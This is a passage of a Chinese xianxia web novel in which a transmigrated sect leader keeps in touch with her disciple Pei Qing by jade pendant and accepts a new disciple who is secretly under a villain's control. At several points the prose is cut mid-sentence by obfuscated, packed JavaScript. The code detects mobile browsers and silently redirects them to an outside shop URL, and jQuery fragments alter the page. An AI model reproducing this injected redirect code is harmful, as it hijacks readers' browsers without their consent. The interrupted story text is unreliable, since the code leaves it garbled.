裴卿点点头,显然是理解了这句话。他和师父相处久了,渐渐明白了她身上异于他人的指示和命令是什么意思,也比常人能更好理解她的话,这些细小的优势让他感觉到,师尊和他似乎与别人不同,自己也因为这些不同而窃喜着什么。 “嗯,徒儿来和师尊道别。”裴卿的目光始终在柳今初身上。他虽生了一副看起来妖邪的脸,但那双丹凤眼里却是一潭深寒的湖水,没有涟漪,也没有少年的意气风发。 “裴卿,你笑一下。”柳今初看着那双眼睛有些入迷了,话不过脑便说出了无厘头的话来。 裴卿没有回答,唇角依旧平直,面上的表情依旧没有变化,只是攥紧了在花纹石桌下的手。 “为师有些失礼了。不过说起来,为师养你到现在就没见你笑过,有点好奇。我们裴卿笑起来是个什么样。”柳今初见气氛有些凝固尴尬,不急不缓地解释,依旧习惯性地绕着指尖的发丝玩。 “好啦好啦,你若不愿意,为师也不为难你。”柳今初装作遗憾失落,倒了一杯花茶推到裴卿面前,“不留下用过午饭再出发,不过这样会不会太晚了?就是怕耽误你赶路了。” 裴卿盯着那杯花茶里飘飘荡荡的花瓣,摇了摇头,启唇道:“回师尊,无碍,徒弟会先使用轻功在步行一段时间,如此交替,这般做速度不慢,又锻炼了身体。” 柳今初点点头,头上簪着的青色步摇晃动发出清脆的响声,少年闻声下意识望去。 她撑着头,衣袖滑落,露出来一只透白的手,骨感纤细,已经不在把玩着自己乌黑的长发了,而是在抚摸着一块圆形玉佩,玉佩通体润白,有着栀子花的浮雕。 “那和我一起去元剑堂吧,我吩咐厨房给你准备了丰富的送别宴。就算你要辟谷,这顿饭多少也要吃一点好吗?”柳今初起身,把玉佩挂回腰间细带上,向前走了几步,又回头看裴卿。 她其实很担心,男主提前历练会不会影响修炼效果,比如错过了神器法宝仙人什么的,还有可能晚些与女主见面,不过男女主羁绊这么强,这件事应该问题不大。 裴卿看出她眼底的复杂情绪,轻点了一下头,表示自己心意已决。 * 送别宴后,师兄进勉和师姐宁明两人又与裴卿说这说那,嘱咐这裴卿注意安全,遇事不决就跑,能解决就趁机锻炼锻炼,等两人十分不舍地拍了拍裴卿的肩放他离开时已经是申时了,下午三点,阳光不再那么刺眼的时候了。 下山的路并不好走,因为这条通往凡间结界的石子路已经长满了杂草杂树。在各宗门建立初期,这种石子路处处都有,也不算是一条难走的路,随着仙界各门派的发展与进步,大多数入门弟子都已掌握轻功与瞬移术,这种石子路便荒废了许多条。 不过离师尊最近的那条石子路还未荒废,裴卿依稀记得他还是孩童的时候,师尊时不时带着他在宗门里乱逛,这条石子路便走了许多遍,从他需要师尊牵着手走,到他自己可以轻松走完全程,约莫走了不下十次。 除了这次他因为要去九妖山历练而走这条石子路,最近的一次行走,就是上次师尊带他去凡间玩的那次,师尊看起来兴致勃勃的,哼着歌走在最前头,师兄师姐则跟在师尊身后打闹和他第一次见到他们一样,关系很好。 至于他,他走在最后面,没有哼歌也没有说话。 但到了山脚,师尊拉起了他的手,将他拉进靠近自己,检查着他的易容法术也没有破绽。想到这裴卿摇摇头,他知道他的法术很完美,没有破绽。 回来时他们就用了法术,很快回到了宗门。 * 在自己床塌上趴着的柳今初,正拿着毛笔在空白的白麻纸上刷刷写下几行简体字,不知是因为工作后遗症还是她玩电子产品太多的缘故,她写错字倒是下意识双击了下纸张,然后发现字没有撤回又愣了一下。 好想玩手机,明明已经来到这个没有网络的世界好多年了,自己怎么就是戒不掉网瘾呢,柳今初不解,但是她又想到了,她穿的书是修仙文,仙人渡年如秒也是毫不夸张的,于是她算是对网瘾这件事释怀了。 但回到现实,她无论如何都要实现,毕竟惜命是她的天性和本性,这个修仙界危险重重的地方,宗门长老更是高危职业。 看着白麻纸上的第一行,数字一后面的那串字———“回到现实的办法”,柳今初打上了一个五角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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按着原书男主裴卿历练的速度,他应该会在九妖山历练八年,不过准确来说,他并不只在九妖山历练,期间因为一些变故和金手指剧情,裴卿还去过凡间和魔界并且待了差不多一个月。 柳今初为了让师尊的存在感更多一点,让裴卿的尊师恩师意识更强一点,她打算用点道德绑架的手段完成“做一个好师尊”的目标,写下这个目标就为了给自己“平安渡过仙魔劫”上保险。 毕竟靠人不如靠己,她与裴卿的关系也只是停留在师徒关系而已,她没办法保证有了裴卿的那点所谓的报答师尊之恩,自己就一定能在仙魔劫里活下来。 所以她才写下了第二个目标,她要平安渡过仙魔劫,要自保,用自己的法力,哪怕有所谓的主角反派光环也影响。毕竟现在男主裴卿的历练情节都提前了,这是变动,既然存在改变,那她也有靠自己改变必死结局的可能,离开这里的可能。 * 约莫一个月过去了,柳今初看着今晚的明月,是满月,平安的象征。 那块常挂在她腰际的圆形玉佩现在只剩下了一半,另一半在裴卿那里,柳今初在送裴卿下山时给他的,还嘱咐他保管好这半块玉佩,不然等他回来就等着罚抄厚如汉字字典的宗门规训,不能用任何法术辅助。 “这是用来通讯的,你下山历练后,为师大概每隔一个月这样和你通一次讯,了解一下你的历练情况,看看你有没有偷懒顾着玩去了。”虽是用长辈唠叨叮嘱的语气说的,但柳今初面上却是亲和的笑。 看着少年点头,双手接下,收入胸前的衣襟里。 现在正是她说好的通讯时间,柳今初向那半块玉佩注入了一些灵气,这是她第一次使用,以为等裴卿出现要一段时间,倒是没想到自己还在慢慢悠悠整理衣着时,裴卿的声音便传来了。 然后自己玉佩的灵气便消失了,裴卿的脸也消失了,留下一句断断续续的话。 “弟子,徒儿唐突,失瞻了。” 5. 第五章 柳今初愣了一下,“怎么就中断了?是太久没用了吗,还是坏了?” 于是她下意识用手拍了拍那半块玉佩,没有反应,又试着注入自己的灵气看看有没有反应。这回过了一分多钟,少年青涩的脸庞才进入了自己的视野。 这玉佩不算是什么好法器,两个通讯的人谁想先停止通讯都可以,不是说有些法器认主吗,更何况这玉佩的主人法力无边,是个宗门长老,柳今初在心里默默吐槽。 未等她开口询问对面的状况,少年清冽的声音便通过连接平稳的灵气流传来,他在向柳今初谢罪,“师尊,徒弟方才唐突了。” “唐突什么?还有,裴卿你刚刚是断开了灵气连接是吗?如果是的话,这法器就没坏。” 浮在空中的画面里,少年没有看向柳今初,他稍稍低垂着头,敛着眉,用手轻摸了摸自己的脖颈。 见对方久久没开口,柳今初也不大在意,悠哉悠哉地给自己倒了一杯花茶,随后将小巧的青瓷茶杯端至唇边,轻轻吹凉茶水,“徒儿,这一个月以来历练得如何,有没有什么进展?” 怕裴卿觉得自己只是一个仅会关心弟子修为而毫无温情的师尊,柳今初又补充道:“没有什么大提升也无妨,我们慢慢来,作为剑修,耐心可是一种必备的品质。” 裴卿点点头,随后不紧不慢地阐述了自己一个月以来经历的种种事情,就算抛开许多细枝末节的困难,他遇到的困境依旧能串成一大段话。 月初时,裴卿刚步入九妖山就遇到了百年难得一遇的怪异现象,常年徘徊在九妖山核心区域的妖兽之王突兀的出现在九妖山结界的边缘。虽然结界边缘广阔漫长,但还是让裴卿遇到了这只妖兽。 还处在即将突破金丹期的裴卿自然是敌不过这样可以摄魂夺魄的妖兽的,这时裴卿想起师兄师姐的叮嘱,于是使出全身灵气逃离边境,冲向九妖山副中心地带,那里原本多是等级比较低的妖兽,但它们都对九妖山核心地带充沛的灵气资源垂涎欲滴,趁着霸主离开,定会前去抢夺资源。 那么副中心的地区就相对安全,对他来说也不算很远,连跑带运用灵气地冲过去,虽有灵气耗尽的风险,但好在有活下来的可能。 而月中时,裴卿运气更是差得让人无言以对,那时他刚刚养好身上因为磕磕碰碰带来的伤,积攒了一些灵气,在九妖山边境闲逛有半月之久的妖兽之王便打算回到核心区域,又凑巧地遇到了在副中心地带修养的裴卿。 遇修仙之人必攻击以吸收他们身上富裕的灵气似乎是所有妖兽的本能,于是裴卿只能半打带逃地与它搏斗。月末便是他突破金丹期中级的时候,毕竟与万妖之王打得交道也不少了,他进步飞速也是意料之中。 柳今初了解完这头一个月的情况,表情算不上浮夸,毕竟她也看过原书前面的章节了,对男主晋升的情况有一定的了解,再次询问也不过是确认剧情的进展而已。 “裴卿,你遇到了这么危险的事,怎么没有联系为师,虽然历练的确是为了锻炼自己,但保命要紧啊。”柳今初蹙眉,杏眼里充满了不解与疑惑,原书所写的第一个月里,裴卿没有遇到妖兽之王,而是同为前来历练的女主芷汀。两人在一次妖兽潮中互助过彼此,两人在此结缘,随后便分开,男主百里裴卿留在九妖山而女主芷汀前往远东的海域历练了。 剧情的提前会影响男女主相遇吗,柳今初开始担心了,不是担心这对佳人美好的爱情姻缘最终烟消云散,而是担心剧情是不是有变得“面目全非”的可能。 那么仙魔劫究竟是会提前到来,还是如她所愿那般不复存在,她说不准,也不敢赌。 她不敢用生命去赌是否有奇迹的存在,说的不好听些,她觉得自己始终是一个保守派。无论是在现实还是这里,她始终会给自己留一天后路,无论这条路会不会太难走。 “那你,有没有遇见一些比较好的事?”柳今初虽然在心里做了最坏的猜想,但她仍然有拥抱希望的勇气。 她问得隐晦,特地放缓了语速,压制着内心的急切,将手上的茶杯放下,一瞬不瞬地盯着裴卿看。 “有。不过徒儿没有联系您,是因为还未得知如何运用这枚玉佩,也…不想让您,和师兄师姐担心。”他淡淡陈述完,又垂下眼没有再直视柳今初。 “是什么,说来听听看。” “徒儿遇到了一位医修符修双行的女子,她也处在金丹期,助我应对副中心地带的妖兽又替我处理了伤口。”裴卿如实回答。 “她帮了你这么多,你有没有问问人家叫什么,以便在以后报答人家的救命恩情。”柳今初稍稍倾身靠近玉佩,放在腿上的双手相握着,这时她用来缓解紧张的方法。 “芷汀。” 听到这个名字,柳今初稍稍松了口气,又端起茶壶给自己续上花茶,用甘甜的茶水缓解干涩的喉咙,“那你记好了,我们裴卿要做个滴水之恩当涌泉相报的人。” “对了,为师不是在出发前嘱咐你带上柿饼么?怎么样有没有尝过?有没有给人家小姑娘尝一尝?”柳今初自从听到女主名字开始心情就由阴转晴,半勾着淡粉的唇,杏眼微微弯起,算是惬意的表情了。 见对面少年点头确认,柳今初更是掩藏不住笑意,她觉得自己算是培养出了一个懂礼貌、有感恩之心又亲切友善的乖徒弟了。受此激励,她打算加柴添火,趁热打铁,于是有了像老长辈关怀孩子一样的问东问西、嘘寒问暖。 这次通讯被柳今初定义为现代的电话,于是她便和裴卿约好,以后遇到什么让他深有感触的事情就“打给”她,为此,她还特地解释了“打过来”,“接起来”和“通话”是什么意思。 这样的解释本质上是柳今初在教裴卿现代语言,这也算是裴卿能够比常人更好理解师尊的话的原因之一了。说到这里,柳今初有些不好意思,从收下裴卿作为亲传弟子开始到裴卿晋升为金丹期剑修,她似乎只正正经经地教过他一些现代汉语,而对修炼的教学少之又少。 毕竟她自己也是个半吊子。 这次“通话”结束后,柳今初为了小小庆祝一下自己的好运带来的眷顾,她打算明天拒绝出席新一届的宗门招收弟子大会。 在刚刚穿进《渡仙》这部小说时,她老老实实参加了两届大会,第一届因为没能跟上其他宗门长老的抢人速度而只收下了几名门外弟子,第二届大会她就焉了,没想到第二届大会长达三个月,是第一届的两倍之多,而且大会新增了不少复杂的仪式与规定,让她更头大,依旧没有招收到什么优秀人才,反而劳累了自己。 在加上这些繁琐的仪式她一向不喜欢,而近年来的招收大会上,各宗门的长老都会在上一届的基础上多招收几名门外弟子,像极了学校扩招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792313|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。对于柳今初来说,这会让她更像一个学校的级长、主任或者校长,总之这会让她沾染上上班的气味。 这项决定先是震惊了宁明和进勉两人,随后才穿遍各大宗门。不过就算舆论再怎么激烈,柳今初也不作改变,毕竟宗门招收弟子大会并不只是持续几天那么简单,而是会开展至少三个月,并且宗门长老必须亲自参与挑选人才,因此各宗门亲传弟子多数诞生在此。 宁明和进勉便是这部小说原主之前招收的亲传弟子,两人均是笔试与武试排名前列的优秀参与选手。 宗门招收弟子大会之所以持续三个月之久,是因为在大会开始之前,会有一个星期的灵根测试时间,这关称作测灵脉,是首个入门关卡,没有灵根或者灵根劣质的参与者会首先被告知落选。 较为有潜力的灵根通常是五行里的金木水火土这五种灵根,宁明便是火灵根而进勉与之相对,是水灵根,而最为特殊也最难培养的灵根有三种,分别是男主百里裴卿的空灵根,女主芷汀的玄灵根,至于最后一种,是较为邪气的幻灵根。 原小说《渡仙》没有写谁是幻灵根的拥有者,却特别提出了这个概念,柳今初对它的了解也就止步于此了,不过她有在猜测,目前可能拥有幻灵根的人有两人,一个是反派,毕竟这个身份看起来就很邪气,他本人的作风也发邪,另外一个就是她自己,原主元剑宗掌门人柳今初,她认为原主算半个反派,毕竟让男主百里裴卿苦了这么多年,在他成长的道路处处使绊子,为了男主身体里的渡仙剑剑灵残魂而受他为徒,却是漠不关心甚至到了残忍对待的程度。 仿佛就是在对待一件珍藏着宝物的盒子,只要盒子磕磕碰碰而里面的宝物毫发无伤便是无所谓的一般。 抛开这些复杂的猜想,柳今初继续回忆原著对宗门招收弟子大会的规定,在测灵根入门关卡之后就是笔试,主要考察仙界的发展历程和一些基本的法术知识,只要参加者认认真真了解记忆,笔试不算难通过,最后便是为期一个月半的武试,也是众宗主最看重的环节,各宗门弟子最喜欢的打斗环节。 武试初级通过者指通过不使用灵气的限时搏斗赛的应试者,这些人便可参与武试中级的考核,武试中级通过者则是躲避过各宗门亲传弟子法力攻击赛的应试者,他们可以参与最后的武试最级考核,即应试者使用灵气与法力的限时对决,胜者有机会成为宗门亲传弟子,败者则可以选择成为门外弟子。 原小说花了不少篇目描写这些大会关卡与环节,为男主百里裴卿的横空出世做了很长的铺垫,这便有了身为男主的特殊之处———不需要通过宗门招收弟子大会而直接成为亲传弟子。 这一特殊之处也让裴卿成为了不少人的眼中钉,毕竟忮忌之心人人皆有。因此裴卿在很小的时候就受过不少冷嘲热讽与孤立欺凌,只有在师兄师姐护着时才能免受这些伤害,然而宁明与进勉的出手相助常常被原主以锻炼裴卿的应对而制止。 因为这个情节,柳今初从收裴卿为徒到现在,一直保持着护犊子的状态,旁人若是有怨言,她便也以讽刺回应,不单单是为了做个好师尊,还要归功于她本身就爱对这种事打抱不平。 不过喜欢出手相助与打抱不平让她没能如愿以偿地不参加这次的宗门招收弟子大会,但也让她觉得这次的意外参加不算是个坏事,也得益于她不喜欢袖手旁观。 6. 第六章 翌日,柳今初刚准备让宁明向各宗门长老宣布自己不参与这次大会的决定,就听传闻说这一届即将举行的宗门招收弟子大会因为前来参加应试的人数众多,而被迫推迟一个七曜之久才对外宣布大会起始。推迟的消息也被四大宗门中最古老的宗门用布告的形式张贴公布。 柳今初刚得知这一消息时有些晕头转向,虽说原小说古言式的描写不多,但终归也出现过,和宁明、进勉两人交流一段时间后她才了解这则布告的内容是什么———大会推迟了一个星期,因为这届前来摆门的人比以往都要多。 大工程,我不参加。柳今初默默想着,朝宁明和进勉两人摆摆手,从前院的石凳上起身离开,晃悠着手中的半块玉佩回到屋内。 她依稀记得元剑宗则是四大宗门里最为年轻的宗门,先前则是平平无奇无人过问的新生门派,在原主娘亲的艰苦建设下,元剑宗才得以继承原先暗淡隐退的剑修宗门之位。 原小说对故事背景的阐述不算多,柳今初仅仅是了解到这四大宗门分别是什么,现在最为古老且名声显赫的就是灵符宗了,这里的仙者多修行符咒并且善用咒法,女主芷汀便是灵符门最小的亲传弟子。另外两个宗门便是以炼药化丹为主的丹清宗,以及修仙文中常常有的以双修为修炼手段的合欢宗。 回到床榻上的柳今初身着一袭水色襦裙,当下正值暑季,她的住所栀院阁静谧幽静又有丰沛冷凉的灵气萦绕,多多少少驱散了些柳今初身上的热气和燥意。这种环境酷似现代空调房,于是柳今初打算整个暑季都窝在自己的住所里,至于人潮涌动嘈杂喧哗的宗门招收弟子大会,谁愿去便去,她绝不踏足半分。 等到清晨,大会测灵根仪式开始,柳今初如愿安逸享受着无人打扰的闲暇,而各宗门长老和弟子则是有的唏嘘几句,有的不甚在意,总之,原主有些孤傲淡漠的形象算是奇妙地维护住了。 期间宁明上来送过早点,为了不打扰师尊,还特地找灵符宗的弟子借了一张留音符,她在淡黄的符纸上留下自己的询问“师尊大人,您当真不来凑凑热闹?还有记得按时用早点哟。” 留音符被贴在早点竹盒的盒盖上,只要被制定传话的人撕下便会显示留音的内容。 等柳今初睡到自然醒,一只手轻揉着眼,一只手摸索着枕边的话本打算再续上阅读进度时,她放在床头的那半枚玉佩忽地颤动了一下,随即被湖蓝色的灵气包裹,那是裴卿灵气的颜色,空灵根者灵气特有颜色。 柳今初眨眨眼,随手扯了一下被她睡得凌乱的白纱衣衫,又盘了一下长发才将自己的灵气注入玉佩。 “师尊,已经是午时了,您用过午膳了么?” 少年的声线依旧清冽好听,这声问候让柳今初没来由的起床气消去大半,她也不知为何,不论是睡到自然醒还是别人打搅的醒,她总会有起床气,连年年朝九晚五的工作也没能消除这起床气。 “未曾,为师刚醒。”柳今初注意到裴卿的唇在动,似乎在咀嚼着什么,可他不是打算辟谷吗,她都觉得自己一开始强塞给他的柿饼都会完好无损地被带回了。 “裴卿,你在用午膳?” 少年摇摇头,举起柿饼,让柳今初看见那被咬了一块的柿饼,“师尊,我这应算是…解馋。” 柳今初肩膀轻颤,她抿嘴淡笑几声,“解馋”这个词她虽然说过,却没有和他解释过,不过裴卿凭借着自己的聪明才智理解了,还能加以运用,这点莫名让她觉得自己的小徒弟很可爱,比起像是一名杀伐果断的男主,现在更像一个真正的十几岁的小孩子。 看着师尊亲和的笑颜,裴卿有些不知所措,刚想送入口中的半块柿饼就这么停在唇边,他不是没见过师尊笑,相反,他见过很多次,师尊在他心中是喜爱笑的,只不过很少朝他笑,多数是看着凡间的物品、各种小灵兽和仙花灵木笑。 “裴卿,那你打给我,是因为什么?遇到什么事了?”柳今初联想到今天的大会,灵符宗最小的亲传弟子似乎不在,这件事她昨日便听说了,毕竟作为女主的芷汀,不仅才貌双全而且是个温柔挂,待人亲和,在仙界各宗门里芳名广为流传,她和冷冰冰沉默寡言的裴卿一起就是柳今初认为的百吃不腻的cp。 再有昨夜看着话本子入睡的加持,柳今初不禁好奇起男女主的感情进度,距离两人上次交集已有两个月之久了。芷汀作为符修,和人保持联系并不算一件难事,但她就怕自己的木头徒弟一口拒绝了,毕竟按照裴卿淡漠的性格,他不会欠下别人人情很久,比起以后相见再报恩情,他更可能直接送些自己的得来的宝物法器以谢相助之恩。 “徒儿依稀记得宗门招收弟子大会召开的日子,似乎在这月开展,想听听师尊有如何想法。”裴卿将最后一口柿饼咽下,感受着口中浓郁的香甜,神色淡然地开口,看上去与平常无异。 柳今初几句解释完自己不愿掺合各宗门抢人的事,便去门外拿了宁明送来的早点打算填填饥肠辘辘的肚子。 “真是欺人太甚!师尊…您醒了?快快用午膳,都过了午时了,这早点宁明觉着都不好吃了。”宁明紧锁着眉,拎着层层叠叠的午膳盒刚想轻叩师尊的房门,便看见了柳今初从屋内开了门拿起了装着早点竹盒。 放下手中的早点竹盒,柳今初点点头,然后朝着屋内说:“裴卿,你宁明师姐来了。” 宁明看见小师弟那青涩但已经初露棱角的脸,心里那点愤愤不平和郁闷有所转移,抬了下手算是和裴卿行礼打招呼了。 等两人一起摆好午膳,宁明便倒了两杯紫苏熟水,先是递给了柳今初,自己才一口喝下。不知是紫苏熟水降火消暑的功效在起作用,还是宁明自己平息了火气,总之宁明心情平和了不少,面上也没那么气愤了。 “师尊,宁明同您说,今日测灵根有测出了空灵根的,竟和小师弟一样。但这并非最为重要的,最为重要的是这名应试者表明有意做一名剑修,却有人当面嘲弄他,真是不把我们元剑宗放在眼里!定是瞧您不在,才有胆量如此欺负人,辱我宗门!”宁明说完只觉着口干舌燥,又灌下一杯紫苏熟水。 柳今初与裴卿的通讯还未断开,两种色彩不一的灵气依旧连接着,远在九妖山的裴卿听完剑眉轻皱,顺势开口:“师尊,您不必为这般无理取闹之人烦心。” 宁明应和着,而柳今初倒是从始至终没有说话,但面上表情也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等柳今初从仅长老可通行的侧门进入试殿内时,不禁在心里感叹,有朝一日自己还能坐在高处看这么多人进行测试,像极了特大主考官,同时她也有些羡慕,元剑宗的试殿倒是没有这么大,估摸着只有这里的三分之二这么大。 不过她也不是很在意,毕竟自从她刚穿书进来这里时有逛过自己的试殿,此后便没有用这个试殿了,多是嘱咐宁明或者进勉前去管理,颇有些“懒政怠政”、“不关心朝内事务”的不良风范。 “来得真是巧,柳宗主,你们元剑宗用了什么法子,能收得这么多空灵根?”开口调侃的正是灵符宗的长老,坐在试殿正座上,不急不缓地摸着自己花白的长胡子,眼睛眯成一条缝,却是弯着的,乍一看就像一个慈祥和蔼的老头。 “夏侯宗主,别来无恙。我们元剑宗只是比较得人心罢了,或许,也可能是我们御膳阁的厨子手艺了得吧。”柳今初还在回味午膳的那条清蒸鱼,口感和味道和她在现实中的家常菜餐馆里吃的如出一辙。 “那也多是门外弟子嗜吃,你见有多少门内弟子和亲传弟子不辟谷的?少口舌生花了。”长须老头笑呵呵地说出这一串话反驳。 真是面善兽心,柳今初了解这位夏侯宗主,算不上有多么罪恶滔天,但也绝不是个善茬。柳今初没有继续和他斗嘴,转而去寻找那名空灵根。 7. 第七章 未等柳今初开口询问那空灵根之人是谁,便见一位身着粗衣麻布的少年从泱泱人群中缓步走了出来,他和百里裴卿很像,不是外貌上,而是全身的气质,都像出身贫苦却努力往上爬的孩子。 柳今初不是不知道她若是不收他为亲传弟子,这个少年将会面临什么,相反,就算这是他们第一次见面,柳今初也知道这孩子若去了别的宗门,便会受尽凌辱欺压,会和原剧情里的裴卿一样,每日连休息都是一种奢望。 想到这里,她更加想收他为徒了,算是给他一个安身的地方了。 少年虽然穿着最为朴素的麻布衣衫,但麻布干净整洁,只看得出被洗得发白的痕迹,和他白净严肃的脸一样,有些板正的意味。 见柳今初久久没有开口说话,少年垂在身侧的手紧握,瘦削的指节泛白,却没有主动说一句话。 “你若愿意拜入我元剑宗门下,成为我的亲传弟子,那便随我来,后面的比试也无需参加了。”柳今初说完,随意找了个位子坐下休息,或许是午膳太合她胃口了,她吃得有些多,而自己又有午睡的习惯,此时眼皮都要撑不住了,她决定收完徒就回去睡个午觉,至于后事,就让宁明和进勉处理了。 少年似是没想到拜入元剑宗门下会这么容易,一时愣在原地,虽然砰砰鼓动的心脏在告诉他自己有多紧张,但他行拜师礼的动作稳当妥帖,甚至算得上标准。 “弟子林谦愿拜入元剑宗柳长老门下。” 随意盘着腿,用手肘撑着矮桌桌沿的柳今初,强撑着困意,点点头,随后抬了下手,衣袖滑落,露出半截白皙的小臂,示意少年起身。 等两人一前一后地离开试殿,原本静默的应试者们便开始窸窸窣窣地交谈起来,到后面交谈声愈发大了,坐在正座上的夏侯商的视线才从柳今初离开的方向转回众应试者身上,严肃开口,嗓音洪亮:“肃静。” 有长者威严镇压,试殿内的议论声才渐渐消失,但彼此眼神交流的人依旧不少。 此时有一名身着灵符宗门内弟子服饰的符修匆匆来到夏侯商身边,行礼禀报道:“夏侯宗主,芷汀师姐求见。” 一连离开两位重要的宗门长老,试殿内的应试者就算在怎么冷静也不由得开始猜测这次大会是否遇上了什么事。 * 柳今初让人给林谦清扫干净住所后,像以往培养裴卿一样,先给人家塞了几本剑修秘籍,再嘱咐几句便打算回栀院阁好好享受午休时光。 “为师住所在栀院阁,若有事,那便在太阳落山后来找为师。”抛下这句话,柳今便施了一个瞬移术回到自己的床踏边,这个术法她前些天才学会的,现在便能熟练运用了,这倒要归功于原主深厚的剑法与灵气功底了,她不需要耗费太多精力便能把各种小法术练得如火纯青,就像在回忆肌肉记忆一般。 林谦恭敬有礼地应下,等那袭白衣消失在视野中后,他便从袖袋中那出一枚墨黑色的奇怪圆石,环顾四周确认无异后,他将木门的锁紧扣上又施下屏障法术。 随后少年靠着桌边狠心划破掌心,忍着从掌心传来的细细密密的疼痛,将流出的鲜红血液滴在纯黑的圆石上,等待着那血液亮出刺眼的红光。 红光出现后,林谦已经将划伤的掌心用麻布缠好了,他没有看向圆石便开口,声音里透着冰冷,“如你所愿。你何时放过我的娘亲。” 屏障里依旧只有林谦一人,但一道带着笑意的声音却凭空出现,似是那块圆石的作用。 “不要焦急,这只是第一步,你娘亲好得很,不过,放了她,现在还不是时候。” 林谦听完,沉默着,直盯着自己那只被麻布缠绕的手掌,点了点头,随后将圆石上的血擦干净,把圆石重新放入袖袋里。 解除屏障后,他翻了翻柳今初递给他的书籍,找到恢复伤口的术法,无师自通般开始运化灵气,等他再打开被血染红的麻布时,看到的就是焕然一新的掌心了,先前的疤痕也一并消失。 * 在灵符宗长老阁内,一名身着青衫白衣的少女正弯腰行礼,抬起头时,露出了精致漂亮的桃花眼,长睫如鸦羽,肌肤白皙,宛然是一张倾国倾城的脸,让人一看便心生望而却步的想法,但她全身却透露着亲和温暖的气息,让人没来由地感觉到亲切温柔。 “徒儿芷汀拜见夏侯宗主。”芷汀清甜的声音在安静的长老阁内响起,待少女抬头时,那凝重的神情便显现面上。 “师尊,芷汀在远东海域历练时,察觉到了魔族气息,但恕徒儿无能,未能将其抓住。”说到这,芷汀不由得攥紧了垂在身侧的手,“徒儿一直追随着这丝魔族气息,但……” “如何?”夏侯商虽阅历丰富,见多识广,但眼下自己最信任的徒弟说出的话却让他感到不安。 “这魔族气息能进入仙界,徒儿发誓,绝非看错,所以才赶回了宗门。”芷汀神色坚定,模样认真。 夏侯商听后沉默着,他感到奇怪,又追问:“你刚赶回宗门?” 得到肯定的回答后,夏侯商摸着胡须,闭上了浑浊的双眼,用灵气探查整个仙界,再次睁开双眼时,立即从座上起身,向芷汀道:“速速告知各宗门长老这件事。” 等芷汀离开,夏侯商愈发不安,方才他用灵力探查时,却不知如何锁定那魔族的气息行踪与去向。 更何况魔族早在上千年前被镇压,至今仍在远东海域深海之下。他也是参与镇压的仙者之一,怎会不知魔族气息的存在与变动,可当下要紧的却是,这丝魔族气息微弱地游荡在仙界,可他却无法探查它在何处。 而远在东边的海域之下,那曾封印没有破损,也没有变动。那么这丝魔气的由来,便成了无解之谜。 消息传到各宗门长老耳中后,各宗门长老就被要求极速集中至灵符宗长老阁进行商议。 柳今初刚用完晚膳,大饱口福正打算去后山消食时,就被慌慌张张赶来的进勉拉去长老阁了。柳今初在听闻召开这次商议的原因后,凝重地看了看在后山北边的一所弟子住所,那是林谦的住所。 她在听到魔族气息的时候,眉心一跳,下意识就想到了突然出现的林谦,这个空灵根,是原小说没有提及过的人,或者说,这个人物她还没有看到过,也就是她可能没有看到这部分内容便来到了书里。 这也算是间接应证了她的猜想,原小说的剧情果真提前了不止是裴卿的那部分,这意味着,她要面对的问题会只增不减了。 在心底回忆起运展灵气施瞬移术法的感觉,柳今初便成功来到了长老阁,这算是她自己发现的施法技巧,不用念咒,只需要回忆起那种运展灵气的感觉便可以达到一样的效果。 这让不喜欢记忆繁琐术语的她是喜欢,毕竟对于一名整天都要运剑和孕育、培养剑灵的剑修来说,剑术修炼和法术修炼有些相冲,想一举两得要耗费不少精力,所以剑修自然对法术的掌握是不够的,运用起来便要比别人耗费更多心思。 近几个月来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792315|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,柳今初就是靠运展灵气的感觉迅速掌握了很多大大小小的术法。在一开始时,柳今初便发现原主是真心喜爱剑修这个身份了,除了几个必要的术法她掌握了以外,其他术法原主一概不知,让柳今初觉得像是在暴殄天物,留着如此丰沛的灵力不用,转而一心一意运剑习招式去了。 不过让她感到奇怪的是,原主竟然没有自己的剑灵,她正在用的剑是没有剑灵在内的,若想让剑像其他有剑灵的剑有意识地随她飞来走去,谈天说地,那时不可能的。 原小说似乎也提及了这件事,原主还因此被其他宗门的弟子有意无意的暗讽暗嘲,他们虽都不敢在门面上说,但以原主的身份,她未必不知。 长老阁内烛照如昼,阁内均为红棕色的木质柱子,支撑着精致华美的阁顶,阁顶上绘制着历代灵符宗掌门人交接的画像,空白处便用黑墨写满了各式各样的灵符咒语,看起来诡谲有神秘。 柳今初实在看不懂这些灵符的意思,便收回目光,转而和其他长老一起等待商议的开始。不过柳今初对这次的商议不甚在意,在得知各长老一致同意暂不对外宣传魔族气息出现的决定后,柳今初打算悄悄分开一点灵识去探查林谦的情况。 